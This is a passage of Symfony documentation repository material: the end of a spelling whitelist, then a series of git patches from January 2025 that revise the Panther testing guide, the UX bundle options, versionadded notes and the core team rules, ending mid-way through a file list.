-OAuth
-OPcache
-overcomplicate
-Packagist
-parallelizes
-parsers
-PHP
-PHPUnit
-PID
-plaintext
-polyfill
-polyfills
-postcss
-Potencier
-pre
-preconfigured
-predefines
-Predis
-preload
-preloaded
-preloading
-prepend
-prepended
-prepending
-prepends
-preprocessed
-preprocessors
-Procfile
-profiler
-programmatically
-prototyped
-rebase
-reconfiguring
-reconnection
-redirections
-refactorization
-regexes
-renderer
-resolvers
-responder
-reStructuredText
-reusability
-runtime
-sandboxing
-schemas
-screencast
-semantical
-serializable
-serializer
-sexualized
-Silex
-sluggable
-socio
-specificities
-SQLite
-stacktrace
-stacktraces
-storages
-stringified
-stylesheet
-stylesheets
-subclasses
-subdirectories
-subdirectory
-sublcasses
-sublicense
-sublincense
-subrequests
-subtree
-superclass
-superglobal
-superglobals
-symfony
-Symfony
-symlink
-symlinks
-syntaxes
-templating
-testability
-th
-theming
-throbber
-timestampable
-timezones
-TLS
-tmpfs
-tobias
-todo
-Tomayko
-Toolbelt
-tooltip
-Traversable
-triaging
-UI
-uid
-unary
-unauthenticate
-uncacheable
-uncached
-uncomment
-uncommented
-undelete
-unhandled
-unicode
-Unix
-unmapped
-unminified
-unported
-unregister
-unrendered
-unserialize
-unserialized
-unserializing
-unsubmitted
-untracked
-uploader
-URI
-validator
-validators
-variadic
-VirtualBox
-Vue
-webpack
-webpacked
-webpackJsonp
-webserver
-whitespace
-whitespaces
-woh
-Wordpress
-Xdebug
-xkcd
-Xliff
-XML
-XPath
-yaml
-yay

From efb59e63b7b04f7dd43bfdd5ad20b102091769c8 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 13 Jan 2025 09:05:44 +0100
Subject: [PATCH 5294/5766] [Panther] Sync documentation from upstream

---
 .doctor-rst.yaml       |  1 +
 testing/end_to_end.rst | 68 +++++++++++++++++++++++++++++++++++-------
 2 files changed, 58 insertions(+), 11 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 07eb7392bfb..258de40c750 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -117,3 +117,4 @@ whitelist:
         - '.. versionadded:: 3.0' # Doctrine ORM
         - '.. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket'
         - 'End to End Tests (E2E)'
+        - '.. versionadded:: 2.2.0' # Panther
diff --git a/testing/end_to_end.rst b/testing/end_to_end.rst
index d59f243f998..8a624ae884e 100644
--- a/testing/end_to_end.rst
+++ b/testing/end_to_end.rst
@@ -111,12 +111,12 @@ Here is an example of a snippet that uses Panther to test an application::
     $client->clickLink('Getting started');
 
     // wait for an element to be present in the DOM, even if hidden
-    $crawler = $client->waitFor('#installing-the-framework');
+    $crawler = $client->waitFor('#bootstrapping-the-core-library');
     // you can also wait for an element to be visible
-    $crawler = $client->waitForVisibility('#installing-the-framework');
+    $crawler = $client->waitForVisibility('#bootstrapping-the-core-library');
 
     // get the text of an element thanks to the query selector syntax
-    echo $crawler->filter('#installing-the-framework')->text();
+    echo $crawler->filter('div:has(> #bootstrapping-the-core-library)')->text();
     // take a screenshot of the current page
     $client->takeScreenshot('screen.png');
 
@@ -305,13 +305,13 @@ faster. Two alternative clients are available:
 * The second leverages :class:`Symfony\\Component\\BrowserKit\\HttpBrowser`.
   It is an intermediate between Symfony's kernel and Panther's test clients.
   ``HttpBrowser`` sends real HTTP requests using the
-  :doc:`HttpClient component </http_client>`. It is fast and is able to browse
+  :doc:`HttpClient component </http_client>`. It is fast and can browse
   any webpage, not only the ones of the application under test.
   However, HttpBrowser doesn't support JavaScript and other advanced features
   because it is entirely written in PHP. This one can be used in any PHP
   application.
 
-Because all clients implement the exact same API, you can switch from one to
+Because all clients implement the same API, you can switch from one to
 another just by calling the appropriate factory method, resulting in a good
 trade-off for every single test case: if JavaScript is needed or not, if an
 authentication against an external SSO has to be done, etc.
@@ -355,10 +355,10 @@ Testing Real-Time Applications
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Panther provides a convenient way to test applications with real-time
-capabilities which use `Mercure`_, `WebSocket`_ and similar technologies.
+capabilities that use `Mercure`_, `WebSocket`_ and similar technologies.
 
 The ``PantherTestCase::createAdditionalPantherClient()`` method can create
-additional, isolated browsers which can interact with other ones. For instance,
+additional, isolated browsers that can interact with other ones. For instance,
 this can be useful to test a chat application having several users
 connected simultaneously::
 
@@ -451,6 +451,22 @@ To use a proxy server, you have to set the ``PANTHER_CHROME_ARGUMENTS``:
     # .env.test
     PANTHER_CHROME_ARGUMENTS='--proxy-server=socks://127.0.0.1:9050'
 
+Using Selenium With the Built-In Web Server
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you want to use `Selenium Grid`_ with the built-in web server, you need to
+configure the Panther client as follows::
+
+    $client = Client::createPantherClient(
+        options: [
+            'browser' => PantherTestCase::SELENIUM,
+        ],
+        managerOptions: [
+            'host' => 'http://selenium-hub:4444', // the host of the Selenium Server (Grid)
+            'capabilities' => DesiredCapabilities::firefox(), // the capabilities of the browser
+        ],
+    );
+
 Accepting Self-Signed SSL Certificates
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -597,6 +613,13 @@ behavior:
     Toggle the browser's dev tools (default ``enabled``, useful to debug)
 ``PANTHER_ERROR_SCREENSHOT_ATTACH``
     Add screenshots mentioned above to test output in junit attachment format
+``PANTHER_NO_REDUCED_MOTION``
+    Disable non-essential movement in the browser (e.g. animations)
+
+.. versionadded:: 2.2.0
+
+    The support for the ``PANTHER_NO_REDUCED_MOTION`` env var was added
+    in Panther 2.2.0.
 
 Chrome Specific Environment Variables
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -604,7 +627,8 @@ Chrome Specific Environment Variables
 ``PANTHER_NO_SANDBOX``
     Disable `Chrome's sandboxing`_ (unsafe, but allows to use Panther in containers)
 ``PANTHER_CHROME_ARGUMENTS``
-    Customize Chrome arguments. You need to set ``PANTHER_NO_HEADLESS`` to fully customize
+    Customize Chrome arguments. You need to set ``PANTHER_NO_HEADLESS`` to ``1``
+    to fully customize
 ``PANTHER_CHROME_BINARY``
     To use another ``google-chrome`` binary
 
@@ -616,12 +640,33 @@ Firefox Specific Environment Variables
 ``PANTHER_FIREFOX_BINARY``
     To use another ``firefox`` binary
 
+Changing the Size of the Browser Window
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+It's possible to control the size of the browser window. This also controls the
+size of the screenshots.
+
+This is how you would do it with Chrome::
+
+    $client = Client::createChromeClient(null, ['--window-size=1500,4000']);
+
+You can achieve the same thing by setting the ``PANTHER_CHROME_ARGUMENTS`` env
+var to ``--window-size=1500,4000``.
+
+On Firefox, here is how you would do it::
+
+    use Facebook\WebDriver\WebDriverDimension;
+
+    $client = Client::createFirefoxClient();
+    $size = new WebDriverDimension(1500, 4000);
+    $client->manage()->window()->setSize($size);
+
 .. _panther_interactive-mode:
 
 Interactive Mode
 ----------------
 
-Panther can make a pause in your tests suites after a failure.
+Panther can make a pause in your test suites after a failure.
 Thanks to this break time, you can investigate the encountered problem through
 the web browser. To enable this mode, you need the ``--debug`` PHPUnit option
 without the headless mode:
@@ -709,7 +754,7 @@ Here is a minimal ``.travis.yaml`` file to run Panther tests:
 
     language: php
     addons:
-      # If you don't use Chrome, or Firefox, remove the corresponding line
+      # If you don't use Chrome or Firefox, remove the corresponding line
       chrome: stable
       firefox: latest
 
@@ -788,7 +833,7 @@ The following features are not currently supported:
 * Updating existing documents (browsers are mostly used to consume data, not to create webpages)
 * Setting form values using the multidimensional PHP array syntax
 * Methods returning an instance of ``\DOMElement`` (because this library uses ``WebDriverElement`` internally)
-* Selecting invalid choices in select
+* Selecting invalid choices in the select
 
 Also, there is a known issue if you are using Bootstrap 5. It implements a
 scrolling effect which tends to mislead Panther. To fix this, we advise you to
@@ -875,3 +920,4 @@ documentation:
 .. _`LiipFunctionalTestBundle`: https://github.com/liip/LiipFunctionalTestBundle
 .. _`PHP built-in server`: https://www.php.net/manual/en/features.commandline.webserver.php
 .. _`Functional Testing tutorial`: https://symfonycasts.com/screencast/last-stack/testing
+.. _`Selenium Grid`: https://www.selenium.dev/documentation/grid/

From a9a37f5f07dc98e05907d4aa61beb6a7ececaba2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 13 Jan 2025 09:11:08 +0100
Subject: [PATCH 5295/5766] [Frontend] Update a table to make it more readable

---
 frontend/create_ux_bundle.rst | 31 ++++++++++++++++---------------
 1 file changed, 16 insertions(+), 15 deletions(-)

diff --git a/frontend/create_ux_bundle.rst b/frontend/create_ux_bundle.rst
index 8faf0f44bb1..8f44a16f62e 100644
--- a/frontend/create_ux_bundle.rst
+++ b/frontend/create_ux_bundle.rst
@@ -142,21 +142,22 @@ Twig ``stimulus_*`` functions.
 
 Each controller has a number of options in ``package.json`` file:
 
-==================  ====================================================================================================
-Option              Description
-==================  ====================================================================================================
-enabled             Whether the controller should be enabled by default.
-main                Path to the controller file.
-fetch               How controller & dependencies are included when the page loads.
-                    Use ``eager`` (default) to make controller & dependencies included in the JavaScript that's
-                    downloaded when the page is loaded.
-                    Use ``lazy`` to make controller & dependencies isolated into a separate file and only downloaded
-                    asynchronously if (and when) the data-controller HTML appears on the page.
-autoimport          List of files to be imported with the controller. Useful e.g. when there are several CSS styles
-                    depending on the frontend framework used (like Bootstrap 4 or 5, Tailwind CSS...).
-                    The value must be an object with files as keys, and a boolean as value for each file to set
-                    whether the file should be imported.
-==================  ====================================================================================================
+``enabled``:
+    Whether the controller should be enabled by default.
+``main``:
+    Path to the controller file.
+``fetch``:
+    How controller & dependencies are included when the page loads.
+    Use ``eager`` (default) to make controller & dependencies included in the
+    JavaScript that's downloaded when the page is loaded.
+    Use ``lazy`` to make controller & dependencies isolated into a separate file
+    and only downloaded asynchronously if (and when) the data-controller HTML
+    appears on the page.
+``autoimport``:
+    List of files to be imported with the controller. Useful e.g. when there are
+    several CSS styles depending on the frontend framework used (like Bootstrap 4
+    or 5, Tailwind CSS...). The value must be an object with files as keys, and
+    a boolean as value for each file to set whether the file should be imported.
 
 Specifics for Asset Mapper
 --------------------------

From e12afdd378e43587f1d9cfb06e8f5708146b2e76 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 13 Jan 2025 09:34:01 +0100
Subject: [PATCH 5296/5766] Add a versionadded directive

---
 service_container/debug.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/service_container/debug.rst b/service_container/debug.rst
index 0a7898108fb..aab6fa9529f 100644
--- a/service_container/debug.rst
+++ b/service_container/debug.rst
@@ -51,3 +51,9 @@ its id:
 .. code-block:: terminal
 
     $ php bin/console debug:container App\Service\Mailer
+
+.. versionadded:: 7.3
+
+    Starting in Symfony 7.3, this command displays the service arguments by default.
+    In earlier Symfony versions, you needed to use the ``--show-arguments`` option,
+    which is now deprecated.

From 29da96e9cf7b18c6d1933fb96278dd87b47f484c Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Mon, 13 Jan 2025 15:28:42 +0100
Subject: [PATCH 5297/5766] Add the Symfony UX Core Team

---
 contributing/code/core_team.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index efc60894c7c..242f471947a 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -71,6 +71,14 @@ Active Core Members
   * **Fabien Potencier** (`fabpot`_);
   * **Jérémy Derussé** (`jderusse`_).
 
+* **Symfony UX** (``@symfony/ux`` on GitHub):
+
+  * **Ryan Weaver** (`weaverryan`_);
+  * **Kevin Bond** (`kbond`_);
+  * **Simon Andre** (`smnandre`_);
+  * **Hugo Alliaume** (`kocal`_);
+  * **Matheo Daninos** (`webmamba`_).
+
 * **Documentation Team** (``@symfony/team-symfony-docs`` on GitHub):
 
   * **Fabien Potencier** (`fabpot`_);
@@ -211,3 +219,6 @@ discretion of the **Project Leader**.
 .. _`welcomattic`: https://github.com/welcomattic/
 .. _`kbond`: https://github.com/kbond/
 .. _`gromnan`: https://github.com/gromnan/
+.. _`smnandre`: https://github.com/smnandre/
+.. _`kocal`: https://github.com/kocal/
+.. _`webmamba`: https://github.com/webmamba/

From 4bb344dba9ebbaf8686d65f8303e48237663d05a Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Mon, 13 Jan 2025 16:24:57 +0100
Subject: [PATCH 5298/5766] Fix typo

---
 contributing/code/core_team.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index 242f471947a..3a2ed9091f9 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -75,7 +75,7 @@ Active Core Members
 
   * **Ryan Weaver** (`weaverryan`_);
   * **Kevin Bond** (`kbond`_);
-  * **Simon Andre** (`smnandre`_);
+  * **Simon André** (`smnandre`_);
   * **Hugo Alliaume** (`kocal`_);
   * **Matheo Daninos** (`webmamba`_).
 

From bcbf6f62d5bcc1119d89f5caccf75c73f5b68cf7 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 13 Jan 2025 16:25:18 +0100
Subject: [PATCH 5299/5766] [#20566] Add UX team description

---
 contributing/code/core_team.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index 242f471947a..41e9a6cc3e3 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -34,7 +34,9 @@ The Symfony Core groups, in descending order of priority, are as follows:
 In addition, there are other groups created to manage specific topics:
 
 * **Security Team**: manages the whole security process (triaging reported vulnerabilities,
-  fixing the reported issues, coordinating the release of security fixes, etc.)
+  fixing the reported issues, coordinating the release of security fixes, etc.);
+
+* **Symfony UX Team**: manages the `UX repositories`_;
 
 * **Documentation Team**: manages the whole `symfony-docs repository`_.
 
@@ -71,7 +73,7 @@ Active Core Members
   * **Fabien Potencier** (`fabpot`_);
   * **Jérémy Derussé** (`jderusse`_).
 
-* **Symfony UX** (``@symfony/ux`` on GitHub):
+* **Symfony UX Team** (``@symfony/ux`` on GitHub):
 
   * **Ryan Weaver** (`weaverryan`_);
   * **Kevin Bond** (`kbond`_);
@@ -188,6 +190,7 @@ discretion of the **Project Leader**.
     violations, and minor CSS, JavaScript and HTML modifications.
 
 .. _`symfony-docs repository`: https://github.com/symfony/symfony-docs
+.. _`UX repositories`: https://github.com/symfony/ux
 .. _`fabpot`: https://github.com/fabpot/
 .. _`webmozart`: https://github.com/webmozart/
 .. _`Tobion`: https://github.com/Tobion/

From a3f48853be1f5f17fd7126581600b8ebfc1e338a Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 13 Jan 2025 16:25:18 +0100
Subject: [PATCH 5300/5766] [#20566] Add UX team description

---
 contributing/code/core_team.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index 3a2ed9091f9..b787452c64a 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -34,7 +34,9 @@ The Symfony Core groups, in descending order of priority, are as follows:
 In addition, there are other groups created to manage specific topics:
 
 * **Security Team**: manages the whole security process (triaging reported vulnerabilities,
-  fixing the reported issues, coordinating the release of security fixes, etc.)
+  fixing the reported issues, coordinating the release of security fixes, etc.);
+
+* **Symfony UX Team**: manages the `UX repositories`_;
 
 * **Documentation Team**: manages the whole `symfony-docs repository`_.
 
@@ -71,7 +73,7 @@ Active Core Members
   * **Fabien Potencier** (`fabpot`_);
   * **Jérémy Derussé** (`jderusse`_).
 
-* **Symfony UX** (``@symfony/ux`` on GitHub):
+* **Symfony UX Team** (``@symfony/ux`` on GitHub):
 
   * **Ryan Weaver** (`weaverryan`_);
   * **Kevin Bond** (`kbond`_);
@@ -188,6 +190,7 @@ discretion of the **Project Leader**.
     violations, and minor CSS, JavaScript and HTML modifications.
 
 .. _`symfony-docs repository`: https://github.com/symfony/symfony-docs
+.. _`UX repositories`: https://github.com/symfony/ux
 .. _`fabpot`: https://github.com/fabpot/
 .. _`webmozart`: https://github.com/webmozart/
 .. _`Tobion`: https://github.com/Tobion/

From d5f3dd85b4547ea181cfca71f1cfd6645de9af5d Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Mon, 13 Jan 2025 18:26:05 +0100
Subject: [PATCH 5301/5766] Add information about being a core member

---
 contributing/code/core_team.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index b787452c64a..edbbfaf4e77 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -13,6 +13,17 @@ This document states the rules that govern the Symfony core team. These rules
 are effective upon publication of this document and all Symfony Core members
 must adhere to said rules and protocol.
 
+Role of a Core Member
+---------------------
+
+In addition to being a regular contributor, core members are expected to:
+
+ * Review, approve, and merge pull requests;
+
+ * Help enforce, improve, and implement Symfony :doc:`processes and policies </contributing/index>`;
+
+ * Participate in the Symfony Core Team discussions (on Slack and GitHub).
+
 Core Organization
 -----------------
 

From 2423666c17b97c845ee0ba630b6d6dd7c32b650f Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Mon, 13 Jan 2025 18:11:38 +0100
Subject: [PATCH 5302/5766] Add information about PR merge commit category

---
 contributing/code/core_team.rst | 24 ++++++++++++++++++++++--
 1 file changed, 22 insertions(+), 2 deletions(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index b787452c64a..daf1d1cb868 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -168,8 +168,28 @@ All code must be committed to the repository through pull requests, except for
 :ref:`minor change <core-team_minor-changes>` which can be committed directly
 to the repository.
 
-**Mergers** must always use the command-line ``gh`` tool provided by the
-**Project Leader** to merge the pull requests.
+**Mergers** must always use the command-line ``gh`` tool to merge pull
+requests.
+
+When merging a pull request, the tool asks for a category that should be chosen
+following these rules:
+
+* **Feature**: For new features and deprecations; Pull requests must be merged
+  in the development branch.
+
+* **Bug**: Only for bug fixes; We are very conservative when it comes to
+  merging older, but still maintained, branches. Read the :doc:`maintenance`
+  document for more information.
+
+* **Minor**: For everything that does not change the code or when they don't
+  need to be listed in the CHANGELOG files: typos, Markdown files, test files,
+  new or missing translations, etc.
+
+* **Security**: It's the category used for security fixes and should never be
+  used except by the security team.
+
+Getting the right category is important as it is used by automated tools to
+generate the CHANGELOG files when releasing new versions.
 
 Release Policy
 ~~~~~~~~~~~~~~

From d46522ad4ae49ae8317ad5c762daac0227ed143a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 14 Jan 2025 09:53:02 +0100
Subject: [PATCH 5303/5766] Add more details about the context variable

---
 reference/constraints/When.rst | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/When.rst b/reference/constraints/When.rst
index 12b43fc7d63..2a05e58ee9c 100644
--- a/reference/constraints/When.rst
+++ b/reference/constraints/When.rst
@@ -163,7 +163,7 @@ validation of constraints won't be triggered.
 To learn more about the expression language syntax, see
 :doc:`/reference/formats/expression_language`.
 
-Depending on how you use the constraint, you have access to 1 or 3 variables
+Depending on how you use the constraint, you have access to different variables
 in your expression:
 
 ``this``
@@ -172,7 +172,13 @@ in your expression:
     The value of the property being validated (only available when
     the constraint is applied to a property).
 ``context``
-    This is the context that is used in validation
+    The :class:`Symfony\\Component\\Validator\\Context\\ExecutionContextInterface`
+    object that provides information such as the currently validated class, the
+    name of the currently validated property, the list of violations, etc.
+
+.. versionadded:: 7.2
+
+    The ``context`` variable in expressions was introduced in Symfony 7.2.
 
 The ``value`` variable can be used when you want to execute more complex
 validation based on its value:

From d949cbb989e2235d0dbddbac50cc8d39e95b9198 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 15 Jan 2025 15:07:12 +0100
Subject: [PATCH 5304/5766] Minor tweak

---
 contributing/code/core_team.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index daf1d1cb868..61045dfbf5b 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -168,8 +168,8 @@ All code must be committed to the repository through pull requests, except for
 :ref:`minor change <core-team_minor-changes>` which can be committed directly
 to the repository.
 
-**Mergers** must always use the command-line ``gh`` tool to merge pull
-requests.
+**Mergers** must always use the command-line ``gh`` tool provided by the
+**Project Leader** to merge pull requests.
 
 When merging a pull request, the tool asks for a category that should be chosen
 following these rules:

From c9ad945053958e1da303aa63d69363b8adb0dc77 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 16 Jan 2025 15:49:54 +0100
Subject: [PATCH 5305/5766] Minor tweaks

---
 contributing/code/core_team.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index d8c2048e5fd..93ec6031259 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -13,10 +13,10 @@ This document states the rules that govern the Symfony core team. These rules
 are effective upon publication of this document and all Symfony Core members
 must adhere to said rules and protocol.
 
-Role of a Core Member
----------------------
+Role of a Core Team Member
+--------------------------
 
-In addition to being a regular contributor, core members are expected to:
+In addition to being a regular contributor, core team members are expected to:
 
  * Review, approve, and merge pull requests;
 

From 1c51901e95a0d05284e311df419bc9828dc983c7 Mon Sep 17 00:00:00 2001
From: Farhad Hedayatifard <hf.farhad@gmail.com>
Date: Tue, 29 Oct 2024 21:10:14 +0330
Subject: [PATCH 5306/5766] [Mailer] feat(mailer): Add AhaSend Mailer doc

---
 .doctor-rst.yaml                              |    4 +-
 .github/workflows/ci.yaml                     |    2 +-
 _build/redirection_map                        |    5 +-
 .../serializer/serializer_workflow.svg        |    0
 .../serializer/serializer_workflow.dia        |  Bin
 bundles.rst                                   |    6 +-
 bundles/best_practices.rst                    |    2 +-
 bundles/extension.rst                         |    2 +-
 bundles/override.rst                          |    2 +-
 cache.rst                                     |    2 +-
 components/cache/adapters/apcu_adapter.rst    |    4 +-
 .../adapters/couchbasebucket_adapter.rst      |    2 +-
 .../adapters/couchbasecollection_adapter.rst  |    2 +-
 .../cache/adapters/filesystem_adapter.rst     |    2 +-
 .../cache/adapters/memcached_adapter.rst      |    4 +-
 .../cache/adapters/php_files_adapter.rst      |    2 +-
 components/cache/adapters/redis_adapter.rst   |   84 +-
 components/clock.rst                          |    6 +-
 components/config/definition.rst              |   24 +-
 .../console/changing_default_command.rst      |    2 +-
 components/console/events.rst                 |    2 +-
 .../console/helpers/formatterhelper.rst       |   14 +-
 components/console/helpers/progressbar.rst    |    2 +-
 components/console/helpers/questionhelper.rst |    6 +-
 components/event_dispatcher.rst               |    6 +-
 components/expression_language.rst            |    8 +-
 components/finder.rst                         |    2 +-
 components/form.rst                           |    2 +-
 components/http_foundation.rst                |   25 +-
 components/http_kernel.rst                    |    2 +-
 components/ldap.rst                           |    2 +-
 components/lock.rst                           |   38 +-
 components/options_resolver.rst               |    4 +-
 components/phpunit_bridge.rst                 |    4 +-
 components/process.rst                        |    4 +-
 components/property_access.rst                |    8 +-
 components/property_info.rst                  |   17 +-
 components/runtime.rst                        |    5 +-
 components/serializer.rst                     | 1938 --------------
 components/type_info.rst                      |  136 +-
 components/uid.rst                            |    4 +-
 components/validator/resources.rst            |    2 +-
 components/yaml.rst                           |   10 +
 configuration.rst                             |    8 +-
 configuration/env_var_processors.rst          |    2 +-
 configuration/micro_kernel_trait.rst          |    2 +-
 configuration/multiple_kernels.rst            |    2 +-
 configuration/override_dir_structure.rst      |    2 +-
 console.rst                                   |   10 +-
 console/calling_commands.rst                  |    5 +-
 console/command_in_controller.rst             |    2 +-
 console/commands_as_services.rst              |    4 +-
 console/input.rst                             |    2 +-
 contributing/code/bc.rst                      |    8 +-
 contributing/code/bugs.rst                    |    2 +-
 contributing/code/maintenance.rst             |    3 +
 contributing/documentation/format.rst         |    2 +-
 contributing/documentation/standards.rst      |    2 +-
 controller.rst                                |   32 +-
 controller/error_pages.rst                    |    2 +-
 deployment.rst                                |    2 +-
 deployment/proxies.rst                        |    2 +-
 doctrine.rst                                  |    8 +-
 doctrine/custom_dql_functions.rst             |    2 +-
 doctrine/multiple_entity_managers.rst         |    6 +-
 event_dispatcher.rst                          |   11 +
 form/bootstrap5.rst                           |    6 +-
 form/create_custom_field_type.rst             |    2 +-
 form/data_mappers.rst                         |    4 +-
 form/data_transformers.rst                    |    6 +-
 form/direct_submit.rst                        |    2 +-
 form/events.rst                               |    4 +-
 form/form_collections.rst                     |    6 +-
 form/form_customization.rst                   |    4 +-
 form/form_themes.rst                          |    2 +-
 form/inherit_data_option.rst                  |    2 +-
 form/type_guesser.rst                         |    2 +-
 form/unit_testing.rst                         |    6 +-
 form/without_class.rst                        |    2 +-
 forms.rst                                     |    2 +-
 frontend.rst                                  |   10 +
 frontend/asset_mapper.rst                     |  129 +-
 frontend/encore/installation.rst              |    2 +-
 frontend/encore/simple-example.rst            |    4 +-
 frontend/encore/virtual-machine.rst           |    4 +-
 http_cache/cache_invalidation.rst             |    2 +-
 http_cache/esi.rst                            |    2 +-
 http_cache/varnish.rst                        |   33 +-
 http_client.rst                               |   18 +-
 lock.rst                                      |    2 +-
 logging/channels_handlers.rst                 |    2 +-
 logging/monolog_exclude_http_codes.rst        |    2 +-
 mailer.rst                                    |   62 +-
 mercure.rst                                   |   93 +-
 messenger.rst                                 |   29 +-
 notifier.rst                                  |   85 +-
 profiler.rst                                  |    4 +-
 reference/attributes.rst                      |   12 +-
 reference/configuration/framework.rst         |   11 +-
 reference/configuration/web_profiler.rst      |    2 +-
 reference/constraints/Bic.rst                 |   15 +-
 reference/constraints/Callback.rst            |    8 +-
 reference/constraints/DateTime.rst            |   17 +-
 reference/constraints/EqualTo.rst             |    2 +-
 reference/constraints/File.rst                |    9 +-
 reference/constraints/IdenticalTo.rst         |    2 +-
 reference/constraints/Image.rst               |   20 +
 reference/constraints/MacAddress.rst          |    1 +
 reference/constraints/NotEqualTo.rst          |    2 +-
 reference/constraints/NotIdenticalTo.rst      |    2 +-
 reference/constraints/PasswordStrength.rst    |    6 +-
 reference/constraints/Slug.rst                |  119 +
 reference/constraints/UniqueEntity.rst        |    6 +-
 reference/constraints/_payload-option.rst.inc |    2 -
 reference/constraints/map.rst.inc             |    1 +
 reference/dic_tags.rst                        |    4 +-
 reference/formats/expression_language.rst     |    2 +-
 reference/formats/message_format.rst          |    2 +-
 reference/forms/types/choice.rst              |    2 +-
 reference/forms/types/collection.rst          |    6 +-
 reference/forms/types/country.rst             |    2 +-
 reference/forms/types/currency.rst            |    2 +-
 reference/forms/types/date.rst                |    9 +-
 reference/forms/types/dateinterval.rst        |    4 +-
 reference/forms/types/entity.rst              |    2 +-
 reference/forms/types/language.rst            |    2 +-
 reference/forms/types/locale.rst              |    2 +-
 reference/forms/types/money.rst               |    5 +-
 .../types/options/_date_limitation.rst.inc    |    2 +-
 .../forms/types/options/choice_lazy.rst.inc   |    2 +-
 .../forms/types/options/choice_name.rst.inc   |    2 +-
 reference/forms/types/options/data.rst.inc    |    2 +-
 .../options/empty_data_description.rst.inc    |    2 +-
 .../forms/types/options/inherit_data.rst.inc  |    2 +-
 reference/forms/types/options/value.rst.inc   |    2 +-
 reference/forms/types/password.rst            |    2 +-
 reference/forms/types/textarea.rst            |    2 +-
 reference/forms/types/time.rst                |   10 +-
 reference/forms/types/timezone.rst            |    2 +-
 reference/forms/types/url.rst                 |    7 +
 reference/twig_reference.rst                  |   33 +-
 routing.rst                                   |   78 +-
 scheduler.rst                                 |    8 +
 security.rst                                  |   37 +-
 security/access_control.rst                   |    6 +-
 security/access_token.rst                     |    4 +-
 security/custom_authenticator.rst             |   27 +-
 security/impersonating_user.rst               |    9 +-
 security/ldap.rst                             |    4 +-
 security/login_link.rst                       |    2 +-
 security/passwords.rst                        |    2 +-
 security/remember_me.rst                      |   25 +-
 security/user_providers.rst                   |    2 +-
 security/voters.rst                           |   31 +-
 serializer.rst                                | 2331 ++++++++++++++---
 serializer/custom_context_builders.rst        |    8 +-
 serializer/custom_encoders.rst                |   61 -
 serializer/custom_name_converter.rst          |  112 +
 serializer/custom_normalizer.rst              |   66 +-
 serializer/encoders.rst                       |  373 +++
 service_container.rst                         |    4 +-
 service_container/compiler_passes.rst         |   80 +-
 service_container/definitions.rst             |    4 +-
 service_container/lazy_services.rst           |    2 +-
 service_container/service_decoration.rst      |   76 +-
 .../service_subscribers_locators.rst          |    2 +-
 service_container/tags.rst                    |   17 +-
 session.rst                                   |   26 +-
 setup.rst                                     |    8 +-
 setup/_update_all_packages.rst.inc            |    2 +-
 setup/file_permissions.rst                    |    8 +-
 setup/symfony_server.rst                      |    8 +-
 setup/upgrade_major.rst                       |    2 +-
 setup/web_server_configuration.rst            |  110 +-
 string.rst                                    |   10 +-
 templates.rst                                 |    4 +-
 testing.rst                                   |   16 +-
 testing/end_to_end.rst                        |    2 +-
 testing/insulating_clients.rst                |    2 +-
 translation.rst                               |    8 +-
